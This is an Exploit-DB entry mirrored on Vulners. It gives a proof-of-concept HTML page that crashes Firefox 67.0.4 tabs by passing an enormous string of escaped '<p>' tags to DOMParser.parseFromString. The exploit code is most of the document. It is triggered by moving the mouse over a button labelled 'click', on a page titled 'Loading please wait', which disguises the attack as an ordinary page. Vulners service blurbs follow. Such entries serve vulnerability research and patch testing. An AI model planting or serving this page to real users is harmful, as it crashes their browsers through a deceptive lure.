Lucene search
K

Firefox 67.0.4 - Denial of Service

🗓️ 09 Jul 2019 00:00:00Reported by Tejas Ajay NaikType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 72 Views

DOMParser Denial of Service on Firefox 67.0.

Code
<!--
  Exploit Title: DOMParser Denial of Service on Firefox 67.0.4 

  Date: 09/07/2019

  Description: pass a huge string as an argument to DOMParser.parseFromString will crash the tab in Firefox version 67.0.4.

  Exploit Author:Tejas Ajay Naik  

  Vendor Homepage: 

  Software Link: https://ftp.mozilla.org/pub/firefox/releases/

  Version: 67.0.4

  Tested On: Linux x86,Windows x64 1803  

  CVE:
-->
<!DOCTYPE html>
<head>
  <title>
    Loading please wait
  </title>
  
  <script>
    function MyFun() {
    
    var text = [];
    for(var i=0 ;i<300 ; ++i)
      text += "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>";
      var domparser = new DOMParser();
      var doc = domparser.parseFromString(text,"application/xhtml+xml");
  }
  </script>

</head>

<body>
  <input type="button" onmousemove="MyFun()" value="click"/>
  <p id="demo"></p>
</body>  
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation